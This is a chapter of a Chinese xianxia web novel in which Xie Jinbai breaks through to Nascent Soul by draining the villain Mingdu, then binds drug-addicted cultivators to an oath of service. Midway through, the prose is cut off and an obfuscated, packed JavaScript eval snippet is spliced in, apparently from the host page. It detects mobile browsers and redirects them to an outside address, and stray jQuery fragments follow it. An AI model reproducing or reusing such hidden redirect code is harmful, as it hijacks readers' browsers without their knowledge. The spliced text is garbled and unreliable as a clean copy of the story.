劫云已至,天雷正在酝酿。
冥都气得鼻子都歪了:“你竟然借用我的力量渡劫,简直无耻至极!”
“先撩者贱,你先动的手,没资格说我。”这次晋升虽然有些突然,但谢烬白没有丝毫畏惧,笑眯眯地问冥都,“我要渡劫了,你确定还不放手吗?”
冥都深吸一口气,心平气和道:“不过是元婴雷劫而已,你觉得能影响到我?”
谢烬白嘴角的笑意更浓厚了:“有一个人帮我分担雷劫,我求之不得。”
冥都恨得磨了磨牙。
两种功法的循环已经运转得极为疯狂,若抽身离开,他会跌落两个大境界;不抽身离开,谢烬白不光借用他的力量渡劫,还会利用他分担雷劫。
不管怎么说,吃亏的都是他!
冥都现在心里只祈祷着一件事,那就是谢烬白渡劫失败,被天雷劈成渣渣!
天雷,来了。
谢烬白双目紧闭,周身吞噬之力运转到极致,不仅疯狂抽取冥都的修为,更在鲸吞天地间丰沛的灵气,甚至连劈落的雷霆都不放过。
空气瞬间变得干燥,就连水分都遭掠夺,整片天地的精华被强行抽去,取而代之的是谢烬白的丹田气海飞速拓宽。
元婴渐渐成型。
冥都浑身剧颤。
雷光灌体对他来说无伤大雅,可怕的是他的修为逐渐被谢烬白吸走了,再这样耗下去,他会很有可能被吸干。
冥都当机立断,决定现在脱身。
然而,谢烬白死死抓住他的胳膊,实在不忍心让这个能量提供源消失,竭力挽留:“别松手!千万别松手啊!”
冥都目眦欲裂:“你放开我!”
谢烬白摇头:“不放!”
“你不怕我拉你同归于尽吗?”冥都在雷霆爆裂声中尖啸出声,几乎咬碎牙关。
“同归于尽?”谢烬白瞳仁深处映着跳跃的雷火,松开手,认真地说,“那不行,你不配。”
冥都终于和谢烬白分开,瞬间瘫软在地,不仅跌落了两个大境界,而且三分之一的修为也荡然无存。
他的第一反应就是遁走,但烛阴就在旁边等着,怎么可能给他逃跑的机会?
冥都被一掌击飞,喷出一大口鲜血,眼中只剩下绝望的怨毒:“烛阴,我就算是死,也要拉着你一起下地狱!”
“想自爆?”烛阴察觉到他的意图,抬起右手,五指虚虚一握,冥都周身疯狂攀升的毁灭气息就像是被一只无形巨手扼住,戛然而止。
几秒后,却重新爆发,直接炸开。
烛阴的眉头几不可察地蹙了一下,虚握的五指瞬间收紧,一股更加深沉、更加磅礴的力量以他为中心涤荡开来,强行将那肆虐的爆炸压缩在最小范围内。
此时,谢烬白的最后一道心魔雷劫也轰然降临。
无数秽气凝聚的魔影、心念滋生的幻象,张牙舞爪地扑向谢烬白的神魂。
但这一次,谢烬白没有承受,而是吞噬。
连心魔,都成了他晋升的养分。
谢烬白的丹田处,一个双目漆黑、却又隐隐透出紫金色雷纹的元婴,缓缓睁开了眼睛。
小人栩栩如生,有着和谢烬白一模一样的脸,周身缠绕着漆黑秽气,散发着一种吞噬万物、亘古荒凉的威压。
元婴期,成。
谢烬白抬头望向逐渐散去的劫云,脸上洋溢着幸福之色:“感谢大自然的馈赠!”
冥都的棺材板快要压不住了。
这是大自然的馈赠吗?
这分明是踩着他上位!
“恭喜谢公子,用吞噬魔功吞噬雷劫,铸就了不朽魔婴。”宫主的眸中满是欣赏,“我修炼的也是吞噬魔功,如果你遇到什么问题,欢迎随时找我请教。”
谢烬白心虚地笑了笑:“那就多谢宫主了。”
用吞噬魔功晋升需要极多的秽气和能量,他本来打算做好充足的准备再晋升,这次多亏了冥都的“无私奉献”,他才能如此顺利地突破。
谢烬白问:“冥都呢?”
烛阴说:“他自爆了,已经死了。”
谢烬白看向旁边的深坑焦土,里面空空如也,没有血肉横飞,没有残肢断臂,甚至连一点衣物碎片都未曾留下。
谢烬白微微有些困惑:这么容易就死了?
但烛阴都这么说了,谢烬白自然相信他。
冥都是解决了,但堕仙香却是个大问题。
谢烬白清嗓:“你们这些中了堕仙香、刚刚想致阿琛于死地的人……”
那些人脸色一变,生怕烛阴找他们秋后算账,欲朝着各个方向逃离。
“我话还没说完,你们跑什么?”谢烬白无奈极了,还好他早有准备,双手结印,“阵起!”
水晶殿穹顶的星辰图中,所有星宿骤然黯淡,灵玉蔓延出蛛网般的裂痕,连带着穹顶也开始龟裂。
整块穹顶轰然解体,在半空中重组,形成一张覆盖整个水晶殿的立体阵图,将众人禁锢在内。
众人惊疑不定:“穹顶……崩塌了?”
“不是崩塌,是阵图显形。”谢烬白说,“封印阵已经启动,在场所有人,谁也跑不掉。”
空玄念了一声佛号,求情道:“他们固然有错,但也是因为受制于人,无奈为之,还望谢道友高抬贵手,放他们一条性命。”
“空玄方丈,我可没说要杀他们,你杀心也太重了吧?”谢烬白回头望向玉琛,“阿琛,你想怎么处置他们?”
玉琛感觉他似乎有其他打算,便说道:“哥哥决定就好。”
之前的青衣道人恨声道:“冥都已死,没人再能控制我们,但我们已经染上了堕仙香之瘾,与其被那邪物日日折磨,还不如一死了之。”
谢烬白淡淡道:“我也中了堕仙香,但我却安然无恙。若我说,我有办法救你们呢?”
青衣道人先是眼前一亮,然后满脸怀疑,不相信他有那么好心:“你想要什么?”
谢烬白说:“我可以救你们,但你们要留在龙谷做阿琛的护道者,以十年为期,并且立下天道誓言,如何?”
他们几个面面相觑。
五年十年,对他们这些境界的人来说,不过是弹指一瞬。
居然是这么简单的条件吗?
他们很快就做好了决定,齐声说:“我们愿意立下天道誓言,求谢道友救我们性命。”
谢烬白冲玉琛眨了眨眼,嘴角上扬。
玉琛也绽开笑容,但藏在袖子里的手却攥成拳状,然后又缓缓松开。
直到他们都立下天道誓言之后,谢烬白才满意点头:“我现在就替你们驱散识海里的堕仙香。”
只不过他们已经深受堕仙香的毒害,识海中的灰色能量体根深蒂固,谢烬白只能暂时缓解他们的情况,想要根除还有费些时日。
谢烬白思衬许久,锁定目标,态度友好地说:“宫主,你愿意来帮忙吗?”
宫主瞬间就猜测到解除堕仙香的方法跟吞噬魔功有关,美目中流转着别样的光芒:“谢公子相信我?”
谢烬白说:“宫主是个聪明人,为了邪修的未来,你应该知道什么该做,什么不该做。毕竟,你也不想成为下一个冥都吧?”
他们本来就是抱着求和的目的而来,抓住这次机会,说不定能扭转邪修不能离开血枫山的局面,怎么会想不开步冥都的后尘?
“既然如此,我自然愿意帮忙。”宫主看向那些正道修士,“就算谢公子相信我,他们敢让我接触他们的识海吗?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959796|189342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
谢烬白一锤定音:“病人没有发言权,他们的意见不重要。”
所谓的病人:“……”
行吧,你是医生你最大。
谢烬白不放过任何一个苦力,冲慕易之招了招手:“你也来帮忙。”
慕易之左看看右看看,就是不跟他对视,就好像他叫的人不是自己。
谢烬白直接找白眉:“这位妖王大人,我想找你的属下帮点儿小忙,不知道您应不应允?”
白眉看向慕易之,微微颔首。
慕易之心里在骂脏话,却偏偏要强撑着笑容:“来了,来了。”
宫主望着慕易之,舔了舔唇。
慕易之打了个寒颤。
修炼吞噬魔功的人可以相互吞噬对方的修为,这女人看他的眼神像是在看一盘待宰的猪肉,实在太可怕了!
慕易之底气不足地说:“我老大是妖域妖王,我青梅是万神教教主的女儿,我挚友是龙族的太上长老,我背靠这三座大山,你不能对我轻举妄动!”
谢烬白似笑非笑:“你的挚友愿意把你送给宫主。”
这很塑料情了。
慕易之急了:“兄弟,别搞。”
宫主不仅不计较慕易之闯入归藏楼之事,还抛出了橄榄枝:“这位小兄弟,既然你有缘修炼了我无上魔宫的秘法,我愿意收你做亲传弟子。”
慕易之不敢答应,也不敢拒绝,谨慎地说:“我考虑考虑。”
到底是亲传弟子还是储备粮,他自有分辨。
被忽视的烛阴有些郁闷。
他怎么觉得,解决完冥都之后,他在谢烬白面前就没有用武之地了?
他,烛龙,堂堂半步真仙,居然成了工具人?
这可不行!
烛阴眼神冰冷地扫视四周,语气带着凛然的怒意:“堕仙香能让妖族失控,让人族成瘾,是至邪之物,在上古时期就被列为禁术。堕仙香已经现世,为了洪荒大陆的安危,我绝不允许有心之人利用它行恶。”
“诸位,我只是在闭关,而不是死了。再让我看见有人使用堕仙香,夷九族,灭全宗,我说到做到。”
众人亲眼见过堕仙香的威力,皆是脸色凝重。
这一刻,不分种族,不分阵营,他们达成了统一思想,那就是决不允许堕仙香再次出现。
“现在……”烛阴找了个位置坐下,端起新斟的酒,高高举起,“宴会继续,接着奏乐接着舞——”
玉琛看向烛阴的眼神带着微微的憧憬,他也想要变成像烛阴这样强大的存在。
注意到玉琛的视线,烛阴邪魅一笑:“怎么?被我龙傲天的帅气震撼到了吗?”
玉琛瞬间祛魅。
烛阴笑容一僵。
他只是想搞抽象而已!
侍者们再次入场,捧着的玉盘中装满珍馐佳酿。
殿内血腥气与酒香混杂,万族宾客举杯的手,比之前任何一次都要稳。
危机彻底解除,这场宴会才刚刚开始。
谢烬白却有些性质缺缺。
他不知道的是,因为他今天的表现,在场众人都已经把他列为了绝对不能招惹的存在。
惊才艳艳的阵法大师,年纪轻轻的绝世天才,和烛龙大人是莫逆之交的邪修,让半步真仙连跌两个大境界的高手!
这个青年,恐怖如斯!
谢烬白突然感觉丹田里面涨涨的,于是闭上眼感受元婴到底出现了怎样的变故。
元婴可以自主吐纳天地灵气,还可以进入更深层的悟道状态,即便修士在睡觉或分心时,修炼也未曾停歇,效率倍增。
但谢烬白内视丹田气海,却发现自家元婴正在大快朵颐。
等等……
他在吃什么?